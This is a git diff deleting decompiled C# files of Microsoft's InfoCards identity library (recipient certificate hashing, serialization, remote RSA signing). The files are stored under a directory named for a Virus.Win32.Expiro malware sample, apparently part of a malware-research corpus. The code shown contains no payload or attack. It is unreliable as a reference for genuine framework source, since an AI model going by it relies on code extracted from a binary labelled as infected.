Utility.SubjectAtrributeHAFlags.NotEnabled); - private bool m_isCertCached; - private int m_rowId; - private byte[] m_publicKey; - private List m_logoMetadata; - - public Recipient(Stream stream) - : this(stream, false) - { - } - - public Recipient(Stream stream, RecipientIdentity identity, bool isCertCached) - : this(stream, isCertCached) - { - if (!(identity is X509RecipientIdentity recipientIdentity)) - return; - this.m_type = Recipient.IdentityType.X509; - this.AddLogoMetadata(recipientIdentity.LeafCertificate); - this.m_recipientParams = recipientIdentity.RecipientParams; - } - - private Recipient(Stream stream, bool isCertCached) - { - this.m_isCertCached = isCertCached; - this.Deserialize(stream); - } - - public Recipient(RecipientIdentity identity, bool isCertCached, uint privacyNoticeVersion) - { - this.m_trustDecision = Recipient.TrustDecision.NoTrustDecision; - this.m_isCertCached = isCertCached; - this.m_privacyNoticeVersion = privacyNoticeVersion; - this.m_recipientId = identity.GetIdentifier(); - this.m_recipientOrganizationId = identity.GetOrganizationIdentifier(); - this.m_subjectName = identity.GetName(); - if (!(identity is X509RecipientIdentity recipientIdentity)) - return; - this.m_type = Recipient.IdentityType.X509; - this.m_issuerName = recipientIdentity.LeafCertificate.GetNameInfo(X509NameType.SimpleName, true); - this.m_recipientParams = recipientIdentity.RecipientParams; - this.m_publicKey = recipientIdentity.LeafCertificate.GetPublicKey(); - this.AddLogoMetadata(recipientIdentity.LeafCertificate); - } - - public Recipient( - X509Certificate2 cert, - string recipientId, - string recipientOrgId, - bool isCertCached, - uint privacyNoticeVersion, - Recipient.RecipientCertParameters recipientParameters) - { - this.m_type = Recipient.IdentityType.X509; - this.m_trustDecision = Recipient.TrustDecision.NoTrustDecision; - this.m_publicKey = cert.GetPublicKey(); - this.m_isCertCached = isCertCached; - this.m_privacyNoticeVersion = privacyNoticeVersion; - this.m_subjectName = cert.FriendlyName; - if (string.IsNullOrEmpty(this.m_subjectName)) - this.m_subjectName = cert.GetNameInfo(X509NameType.SimpleName, false); - this.m_issuerName = cert.GetNameInfo(X509NameType.SimpleName, true); - this.m_recipientId = recipientId; - this.m_recipientOrganizationId = recipientOrgId; - this.m_recipientParams = recipientParameters; - this.AddLogoMetadata(cert); - } - - public string RecipientId - { - get - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(this.m_recipientId), "Must be populated before this property is accessed"); - return this.m_recipientId; - } - } - - public Recipient.RecipientCertParameters RecipientParameters => this.m_recipientParams; - - public uint PrivacyPolicyVersion - { - get => this.m_privacyNoticeVersion; - set => this.m_privacyNoticeVersion = value; - } - - private static byte[] CertGetRecipientIdBytesForChainTrust( - X509Certificate2 recipientCert, - X509Certificate2Collection supportingRecipientCerts, - Recipient.IdType idtype, - out Recipient.RecipientCertParameters recipientParams) - { - recipientParams = new Recipient.RecipientCertParameters("", "", "", "", "", Utility.SubjectAtrributeHAFlags.NotEnabled); - string str1 = ""; - string certAttribute1 = Recipient.GetCertAttribute(Recipient.OrgAttr.Name, recipientCert.Handle); - string certAttribute2 = Recipient.GetCertAttribute(Recipient.LocalityAttr.Name, recipientCert.Handle); - string certAttribute3 = Recipient.GetCertAttribute(Recipient.StateOrProvinceAttr.Name, recipientCert.Handle); - string certAttribute4 = Recipient.GetCertAttribute(Recipient.CountryAttr.Name, recipientCert.Handle); - recipientParams.m_cn = Recipient.GetCertAttribute(Recipient.CNAttr.Name, recipientCert.Handle); - recipientParams.m_organization = certAttribute1; - recipientParams.m_locality = certAttribute2; - recipientParams.m_state = certAttribute3; - recipientParams.m_country = certAttribute4; - if (string.IsNullOrEmpty(certAttribute1)) - { - if (string.IsNullOrEmpty(recipientParams.m_cn)) - return recipientCert.GetPublicKey(); - return Encoding.Unicode.GetBytes(string.Format((IFormatProvider) CultureInfo.InvariantCulture, "|{0}=\"{1}\"|", new object[2] - { - (object) Recipient.CNAttr.DelimitingString, - (object) recipientParams.m_cn - })); - } - string str2; - if (Recipient.IdType.OrganizationId == idtype || Recipient.IdType.PPIDSeed == idtype) - str2 = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "|{0}=\"{1}\"|{2}=\"{3}\"|{4}=\"{5}\"|{6}=\"{7}\"|", (object) Recipient.OrgAttr.DelimitingString, (object) certAttribute1, (object) Recipient.LocalityAttr.DelimitingString, (object) certAttribute2, (object) Recipient.StateOrProvinceAttr.DelimitingString, (object) certAttribute3, (object) Recipient.CountryAttr.DelimitingString, (object) certAttribute4); - else - str2 = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "|{0}=\"{1}\"|{2}=\"{3}\"|{4}=\"{5}\"|{6}=\"{7}\"|{8}=\"{9}\"|", (object) Recipient.CNAttr.DelimitingString, (object) recipientParams.m_cn, (object) Recipient.OrgAttr.DelimitingString, (object) certAttribute1, (object) Recipient.LocalityAttr.DelimitingString, (object) certAttribute2, (object) Recipient.StateOrProvinceAttr.DelimitingString, (object) certAttribute3, (object) Recipient.CountryAttr.DelimitingString, (object) certAttribute4); - Utility.SubjectAtrributeHAFlags certFlags = Utility.SubjectAtrributeHAFlags.NotEnabled; - string s; - if (Utility.GetCertHAFlags(recipientCert, supportingRecipientCerts, ref certFlags)) - { - recipientParams.m_certHAFlags = certFlags; - int num = Utility.IsSubjectAtrributeHAFlagsSet(certFlags, Utility.SubjectAtrributeHAFlags.LocStateCountryHA) ^ Utility.IsSubjectAtrributeHAFlagsSet(certFlags, Utility.SubjectAtrributeHAFlags.OrganizationHA) ? 1 : 0; - s = str2; - if (string.IsNullOrEmpty(s)) - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException(SR.GetString("InvalidHACertificateStructure"))); - } - else - { - X509Chain chain; - try - { - InfoCardX509Validator.ValidateChain(recipientCert, supportingRecipientCerts, out chain); - } - catch (SecurityTokenValidationException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new UntrustedRecipientException(SR.GetString("UnableToBuildChainForNonHARecipient"), (Exception) ex)); - } - if (Recipient.IdType.OrganizationId == idtype) - str1 = "|Non-EV"; - if (idtype == Recipient.IdType.RecipientId) - { - for (int index = 1; index < chain.ChainElements.Count; ++index) - str1 = string.Format((IFormatProvider) CultureInfo.InvariantCulture, "|ChainElement=\"{0}\"{1}", new object[2] - { - (object) chain.ChainElements[index].Certificate.Subject, - (object) str1 - }); - } - s = str1 + str2; - } - return Encoding.Unicode.GetBytes(s); - } - - public static string CertGetRecipientOrganizationPPIDSeedHash( - X509Certificate2 recipientCert, - X509Certificate2Collection supportingRecipientCerts, - bool isChainTrusted) - { - byte[] buffer = isChainTrusted ? Recipient.CertGetRecipientIdBytesForChainTrust(recipientCert, supportingRecipientCerts, Recipient.IdType.PPIDSeed, out Recipient.RecipientCertParameters _) : recipientCert.GetPublicKey(); - byte[] hash; - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - hash = shA256.ComputeHash(buffer); - return Convert.ToBase64String(hash); - } - - public static string CertGetRecipientOrganizationIdHash( - X509Certificate2 recipientCert, - X509Certificate2Collection supportingRecipientCerts, - bool isChainTrusted) - { - byte[] buffer = isChainTrusted ? Recipient.CertGetRecipientIdBytesForChainTrust(recipientCert, supportingRecipientCerts, Recipient.IdType.OrganizationId, out Recipient.RecipientCertParameters _) : recipientCert.GetPublicKey(); - byte[] hash; - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - hash = shA256.ComputeHash(buffer); - return Convert.ToBase64String(hash); - } - - public static string CertGetRecipientIdHash( - X509Certificate2 recipientCert, - X509Certificate2Collection supportingRecipientCerts, - bool isChainTrusted, - out Recipient.RecipientCertParameters recipientParams) - { - byte[] buffer; - if (!isChainTrusted) - { - buffer = recipientCert.GetPublicKey(); - recipientParams = new Recipient.RecipientCertParameters(Recipient.GetCertAttribute(Recipient.CNAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.OrgAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.LocalityAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.StateOrProvinceAttr.Name, recipientCert.Handle), Recipient.GetCertAttribute(Recipient.CountryAttr.Name, recipientCert.Handle), Utility.SubjectAtrributeHAFlags.NotEnabled); - } - else - buffer = Recipient.CertGetRecipientIdBytesForChainTrust(recipientCert, supportingRecipientCerts, Recipient.IdType.RecipientId, out recipientParams); - byte[] hash; - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - hash = shA256.ComputeHash(buffer); - return Convert.ToBase64String(hash); - } - - private static string GetCertAttribute(string geographicAttributeName, IntPtr certHandle) - { - StringBuilder pszNameString = new StringBuilder(1024); - NativeMethods.CertGetNameString(certHandle, 3, 0, geographicAttributeName, pszNameString, 1024); - return pszNameString.ToString(); - } - - public Recipient.TrustDecision Trust - { - set => this.m_trustDecision = value; - get => this.m_trustDecision; - } - - private void ThrowIfNotComplete() - { - bool flag = this.m_recipientId != null && null != this.m_subjectName; - if (Recipient.IdentityType.X509 == this.m_type) - flag = flag && this.m_issuerName != null && !Utility.ArrayIsNullOrEmpty((Array) this.m_publicKey); - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new SerializationIncompleteException(this.GetType())); - } - - private void AddLogoMetadata(X509Certificate2 cert) - { - X509LogoTypeExtension logoTypeExtension = X509LogoTypeExtension.FromCertificate(cert); - if (logoTypeExtension == null) - return; - logoTypeExtension.TryDecodeExtension(); - this.m_logoMetadata = logoTypeExtension.Logos; - } - - public void Serialize(BinaryWriter writer) => this.AgentSerialize(writer); - - public void AgentSerialize(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((byte) 1); - writer.Write((byte) this.m_type); - writer.Write(this.m_isCertCached); - writer.Write((uint) this.m_recipientParams.m_certHAFlags); - Utility.SerializeString(writer, this.m_recipientParams.m_cn); - Utility.SerializeString(writer, this.m_recipientParams.m_organization); - Utility.SerializeString(writer, this.m_recipientParams.m_locality); - Utility.SerializeString(writer, this.m_recipientParams.m_state); - Utility.SerializeString(writer, this.m_recipientParams.m_country); - Utility.SerializeString(writer, this.m_recipientId); - Utility.SerializeString(writer, this.m_recipientOrganizationId); - Utility.SerializeString(writer, this.m_issuerName); - Utility.SerializeString(writer, this.m_subjectName); - writer.Write(this.m_privacyNoticeVersion); - Utility.SerializeBytes(writer, this.m_publicKey); - writer.Write((byte) this.m_trustDecision); - if (this.m_logoMetadata == null) - { - writer.Write(0); - } - else - { - writer.Write(this.m_logoMetadata.Count); - foreach (X509Logo x509Logo in this.m_logoMetadata) - x509Logo.Serialize(writer); - } - writer.Write((byte) 29); - } - - public void SerializeToStore(BinaryWriter writer) - { - this.ThrowIfNotComplete(); - writer.Write((byte) 1); - writer.Write((uint) this.m_recipientParams.m_certHAFlags); - Utility.SerializeString(writer, this.m_recipientParams.m_cn); - Utility.SerializeString(writer, this.m_recipientParams.m_organization); - Utility.SerializeString(writer, this.m_recipientParams.m_locality); - Utility.SerializeString(writer, this.m_recipientParams.m_state); - Utility.SerializeString(writer, this.m_recipientParams.m_country); - Utility.SerializeString(writer, this.m_recipientId); - Utility.SerializeString(writer, this.m_recipientOrganizationId); - Utility.SerializeString(writer, this.m_issuerName); - Utility.SerializeString(writer, this.m_subjectName); - writer.Write(this.m_privacyNoticeVersion); - Utility.SerializeBytes(writer, this.m_publicKey); - writer.Write((byte) this.m_trustDecision); - writer.Write((byte) 29); - } - - public void Deserialize(Stream stream) - { - BinaryReader reader = (BinaryReader) new InfoCardBinaryReader(stream, Encoding.Unicode); - if ((byte) 1 != reader.ReadByte()) - InfoCardTrace.Assert(false, "version mismatch deserializing recipient stream"); - this.m_recipientParams = new Recipient.RecipientCertParameters(); - this.m_recipientParams.m_certHAFlags = (Utility.SubjectAtrributeHAFlags) reader.ReadUInt32(); - this.m_recipientParams.m_cn = Utility.DeserializeString(reader); - this.m_recipientParams.m_organization = Utility.DeserializeString(reader); - this.m_recipientParams.m_locality = Utility.DeserializeString(reader); - this.m_recipientParams.m_state = Utility.DeserializeString(reader); - this.m_recipientParams.m_country = Utility.DeserializeString(reader); - this.m_recipientId = Utility.DeserializeString(reader); - this.m_recipientOrganizationId = Utility.DeserializeString(reader); - this.m_issuerName = Utility.DeserializeString(reader); - this.m_subjectName = Utility.DeserializeString(reader); - this.m_privacyNoticeVersion = reader.ReadUInt32(); - this.m_publicKey = reader.ReadBytes(reader.ReadInt32()); - this.m_type = this.m_publicKey.Length != 0 ? Recipient.IdentityType.X509 : Recipient.IdentityType.DNS; - this.m_trustDecision = (Recipient.TrustDecision) reader.ReadByte(); - if ((byte) 29 != reader.ReadByte()) - InfoCardTrace.Assert(false, "Invalid stream detected deserilizing recipient"); - this.ThrowIfNotComplete(); - } - - public void Save(StoreConnection con) - { - DataRow row = this.TryGetRow(con, QueryDetails.FullHeader); - if (row == null) - { - row = new DataRow(); - row.ObjectType = -3; - row.GlobalId = (GlobalId) Guid.NewGuid(); - } - row.SetIndexValue("ix_name", (object) this.m_recipientId); - MemoryStream output = new MemoryStream(); - this.SerializeToStore(new BinaryWriter((Stream) output, Encoding.Unicode)); - row.SetDataField(output.ToArray()); - con.Save(row); - this.m_rowId = row.LocalId; - } - - public override string ToString() => base.ToString(); - - public bool IsOrganizationVerified() - { - Utility.SubjectAtrributeHAFlags atrributeHaFlags = Utility.SubjectAtrributeHAFlags.Enabled | Utility.SubjectAtrributeHAFlags.OrganizationHA; - return (this.m_recipientParams.m_certHAFlags & atrributeHaFlags) == atrributeHaFlags; - } - - protected DataRow TryGetRow(StoreConnection con, QueryDetails details) => con.GetSingleRow(QueryDetails.FullHeader, new QueryParameter("ix_objecttype", new object[1] - { - (object) -3 - }), new QueryParameter("ix_name", new object[1] - { - (object) this.m_recipientId - })); - - public enum TrustDecision : byte - { - NoTrustDecision, - IsTrusted, - IsNotTrusted, - PolicyVersionChange, - } - - public enum IdentityType : byte - { - DNS, - X509, - } - - private enum IdType : byte - { - RecipientId, - OrganizationId, - PPIDSeed, - } - - public struct RecipientCertParameters - { - public string m_cn; - public string m_organization; - public string m_locality; - public string m_state; - public string m_country; - public Utility.SubjectAtrributeHAFlags m_certHAFlags; - - public RecipientCertParameters( - string cn, - string organization, - string locality, - string state, - string country, - Utility.SubjectAtrributeHAFlags certHAFlags) - { - this.m_cn = cn; - this.m_organization = organization; - this.m_locality = locality; - this.m_state = state; - this.m_country = country; - this.m_certHAFlags = certHAFlags; - } - } - - private struct RecipientAttribute - { - private string m_name; - private string m_delimitingString; - - public RecipientAttribute(string name, string delimitingString) - { - this.m_name = name; - this.m_delimitingString = delimitingString; - } - - public string DelimitingString => this.m_delimitingString; - - public string Name => this.m_name; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RecipientIdentity.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RecipientIdentity.cs deleted file mode 100644 index bbfe9539..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RecipientIdentity.cs +++ /dev/null @@ -1,100 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RecipientIdentity -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; -using System.ServiceModel; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class RecipientIdentity - { - private EndpointAddress m_address; - private string m_identifier = string.Empty; - private string m_organizationIdentifier = string.Empty; - private string m_organizationPPIDIdentifier = string.Empty; - private bool m_hasBeenValidated; - - public static RecipientIdentity CreateIdentity( - EndpointAddress epr, - bool validate) - { - if (epr.Identity is X509CertificateEndpointIdentity) - { - if (((X509CertificateEndpointIdentity) epr.Identity).Certificates == null || ((X509CertificateEndpointIdentity) epr.Identity).Certificates.Count < 1) - throw InfoCardTrace.ThrowHelperError((Exception) new PolicyValidationException()); - RecipientIdentity identity = (RecipientIdentity) new X509RecipientIdentity(epr, ((X509CertificateEndpointIdentity) epr.Identity).Certificates); - if (validate) - identity.Validate(); - return identity; - } - RecipientIdentity identity1 = epr.Identity == null ? new RecipientIdentity(epr) : throw InfoCardTrace.ThrowHelperError((Exception) new IdentityValidationException(SR.GetString("UnsupportedIdentityType"))); - if (validate) - identity1.Validate(); - return identity1; - } - - public RecipientIdentity(EndpointAddress epr) => this.m_address = epr; - - public EndpointAddress Address => this.m_address; - - protected bool HasBeenValidated - { - set => this.m_hasBeenValidated = value; - get => this.m_hasBeenValidated; - } - - protected string Identifier - { - set => this.m_identifier = value; - } - - protected string OrganizationIdentifier - { - set => this.m_organizationIdentifier = value; - } - - protected string OrganizationPPIDIdentifier - { - set => this.m_organizationPPIDIdentifier = value; - } - - public virtual void Validate() - { - if (this.m_hasBeenValidated) - return; - using (SHA256 shA256 = (SHA256) new SHA256Managed()) - { - this.m_identifier = Convert.ToBase64String(shA256.ComputeHash(Encoding.Unicode.GetBytes(this.m_address.Uri.Host))); - this.m_organizationIdentifier = this.m_identifier; - this.m_organizationPPIDIdentifier = this.m_identifier; - } - this.m_hasBeenValidated = true; - } - - public virtual string GetIdentifier() - { - InfoCardTrace.Assert(this.HasBeenValidated, "Identity has not been validated"); - return this.m_identifier; - } - - public virtual string GetOrganizationIdentifier() - { - InfoCardTrace.Assert(this.HasBeenValidated, "Identity has not been validated"); - return this.m_organizationIdentifier; - } - - public virtual string GetOrganizationPPIDIdentifier() - { - InfoCardTrace.Assert(this.HasBeenValidated, "Identity has not been validated"); - return this.m_organizationPPIDIdentifier; - } - - public virtual string GetName() => this.m_address.Uri.Host; - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs deleted file mode 100644 index 38411207..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteAsymmetricSignatureFormatter.cs +++ /dev/null @@ -1,43 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteAsymmetricSignatureFormatter -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal class RemoteAsymmetricSignatureFormatter : AsymmetricSignatureFormatter - { - private RemoteCryptoRsaServiceProvider m_rsa; - private string m_hashOidString; - private int m_nativeHashType; - - public override byte[] CreateSignature(byte[] rgbHash) - { - if (this.m_rsa == null) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException("m_rsa")); - if (string.IsNullOrEmpty(this.m_hashOidString)) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentException("m_hashOidString")); - if (rgbHash == null) - throw InfoCardTrace.ThrowHelperError((Exception) new ArgumentNullException(nameof (rgbHash))); - return this.m_rsa.SignHash(this.m_nativeHashType, rgbHash); - } - - public override void SetHashAlgorithm(string strName) - { - this.m_hashOidString = CryptoConfig.MapNameToOID(strName); - this.m_nativeHashType = NativeMcppMethods.CryptAlgIdFromOid(this.m_hashOidString); - } - - public override void SetKey(AsymmetricAlgorithm key) - { - this.m_rsa = key as RemoteCryptoRsaServiceProvider; - if (this.m_rsa == null) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs deleted file mode 100644 index 00fe2404..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoDecryptRequest.cs +++ /dev/null @@ -1,67 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoDecryptRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using System.IO; - -namespace Microsoft.InfoCards -{ - internal class RemoteCryptoDecryptRequest : RpcCryptoRequest - { - private byte[] m_buffer; - private int m_index; - private int m_length; - private bool m_final; - private int m_flags; - private int m_hashAlg; - private byte[] m_hash; - - public RemoteCryptoDecryptRequest( - RpcCryptoContext context, - int flags, - bool final, - byte[] buffer, - int index, - int length, - int hashAlg, - byte[] hashValue) - : base(context) - { - this.m_buffer = buffer; - this.m_length = length; - this.m_index = index; - this.m_flags = flags; - this.m_final = final; - this.m_hashAlg = hashAlg; - this.m_hash = hashValue; - } - - public override string Name => "RpcCryptoDecryptRequest"; - - public byte[] GetBuffer() => this.m_buffer; - - public int Length => this.m_length; - - public int Index => this.m_index; - - protected override void MarshalOutArgs(Stream stream) - { - BinaryWriter writer = new BinaryWriter(stream); - writer.Write(this.m_flags); - writer.Write(this.m_final); - writer.Write(this.m_length); - writer.Write(this.m_buffer, this.m_index, this.m_length); - writer.Write(this.m_hashAlg); - Utility.SerializeBytes(writer, this.m_hash); - } - - protected override void MarshalReturnArgs(Stream stream) - { - BinaryReader binaryReader = (BinaryReader) new InfoCardBinaryReader(stream); - this.m_length = binaryReader.ReadInt32(); - binaryReader.Read(this.m_buffer, this.m_index, this.m_length); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs deleted file mode 100644 index caa7426b..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoRsaServiceProvider.cs +++ /dev/null @@ -1,131 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoRsaServiceProvider -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Security.Cryptography; - -namespace Microsoft.InfoCards -{ - internal sealed class RemoteCryptoRsaServiceProvider : RSA, ICspAsymmetricAlgorithm - { - private const int CRYPT_OAEP = 64; - private X509CertificateTokenFactoryCredential m_credential; - private RpcCryptoContext m_context; - private CspKeyContainerInfo m_cspInfo; - private UIAgentRequest m_request; - private object m_sync = new object(); - private bool m_disposed; - - public RemoteCryptoRsaServiceProvider( - X509CertificateTokenFactoryCredential credential, - UIAgentRequest request) - { - this.m_credential = credential; - this.m_context = new RpcCryptoContext(this.m_credential.PortName, this.m_credential.ContextKey); - this.m_cspInfo = new CspKeyContainerInfo(new CspParameters() - { - KeyContainerName = "RpcCrypto", - ProviderName = "RpcCrypto", - ProviderType = 0, - KeyNumber = 1 - }); - this.m_request = request; - } - - CspKeyContainerInfo ICspAsymmetricAlgorithm.CspKeyContainerInfo => this.m_cspInfo; - - byte[] ICspAsymmetricAlgorithm.ExportCspBlob( - bool includePrivateParameters) - { - if (!(this.m_credential.Certificate.PublicKey.Key is ICspAsymmetricAlgorithm key)) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - if (includePrivateParameters) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - return key.ExportCspBlob(false); - } - - void ICspAsymmetricAlgorithm.ImportCspBlob(byte[] rawData) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - public override string KeyExchangeAlgorithm => this.m_credential != null && this.m_credential.Certificate != null && this.m_credential.Certificate.PublicKey != null && this.m_credential.Certificate.PublicKey.Key != null ? this.m_credential.Certificate.PublicKey.Key.KeyExchangeAlgorithm : (string) null; - - public override string SignatureAlgorithm => this.m_credential != null && this.m_credential.Certificate != null && this.m_credential.Certificate.PublicKey != null && this.m_credential.Certificate.PublicKey.Key != null ? this.m_credential.Certificate.PublicKey.Key.SignatureAlgorithm : (string) null; - - public override int KeySize - { - get => this.m_credential != null && this.m_credential.Certificate != null && this.m_credential.Certificate.PublicKey != null && this.m_credential.Certificate.PublicKey.Key != null ? this.m_credential.Certificate.PublicKey.Key.KeySize : 0; - set => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - - public override KeySizes[] LegalKeySizes => new KeySizes[1] - { - new KeySizes(this.KeySize, this.KeySize, 0) - }; - - public byte[] SignHash(int hashAlg, byte[] hash) - { - this.ThrowIfRemoteProcessDied(); - RemoteCryptoSignHashRequest cryptoSignHashRequest = new RemoteCryptoSignHashRequest(this.GetContext(), hashAlg, 0, hash); - cryptoSignHashRequest.Process(); - byte[] signature = cryptoSignHashRequest.GetSignature(); - this.ThrowIfRemoteProcessDied(); - return signature; - } - - public override byte[] DecryptValue(byte[] rgb) - { - this.ThrowIfRemoteProcessDied(); - byte[] numArray = new byte[rgb.Length]; - Array.Copy((Array) rgb, 0, (Array) numArray, 0, rgb.Length); - RemoteCryptoDecryptRequest cryptoDecryptRequest = new RemoteCryptoDecryptRequest(this.GetContext(), 0, true, numArray, 0, numArray.Length, 0, (byte[]) null); - cryptoDecryptRequest.Process(); - byte[] destinationArray = new byte[cryptoDecryptRequest.Length]; - Array.Copy((Array) cryptoDecryptRequest.GetBuffer(), cryptoDecryptRequest.Index, (Array) destinationArray, 0, cryptoDecryptRequest.Length); - this.ThrowIfRemoteProcessDied(); - return destinationArray; - } - - public override byte[] EncryptValue(byte[] rgb) => ((RSA) this.m_credential.Certificate.PublicKey.Key).EncryptValue(rgb); - - public override RSAParameters ExportParameters(bool includePrivateParameters) - { - if (includePrivateParameters || this.m_credential.Certificate.PublicKey == null) - throw InfoCardTrace.ThrowHelperError((Exception) new CryptographicException(SR.GetString("ServiceCanNotExportCertIdentityPrivateKey"))); - if (this.m_credential.Certificate.PublicKey.Key is RSA) - return ((RSA) this.m_credential.Certificate.PublicKey.Key).ExportParameters(false); - throw InfoCardTrace.ThrowHelperError((Exception) new CryptographicException(SR.GetString("ServiceCanNotExportCertIdentityPrivateKey"))); - } - - public override void ImportParameters(RSAParameters parameters) => throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - - protected override void Dispose(bool disposing) - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - int num = disposing ? 1 : 0; - ((IDisposable) this.m_context).Dispose(); - this.m_disposed = true; - } - } - - private RpcCryptoContext GetContext() - { - if (!this.m_context.IsOpen) - this.m_context.Open(); - return this.m_context; - } - - private void ThrowIfRemoteProcessDied() - { - if (!this.m_request.ParentRequest.UIAgentActive) - throw InfoCardTrace.ThrowHelperError((Exception) new CryptographicException(SR.GetString("RemoteCryptoSessionUnavailable"))); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs deleted file mode 100644 index 4c405999..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/RemoteCryptoSignHashRequest.cs +++ /dev/null @@ -1,49 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteCryptoSignHashRequest -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: ADE0A079-11DB-4A46-8BDE-D2A592CA8DEA -// Assembly location: 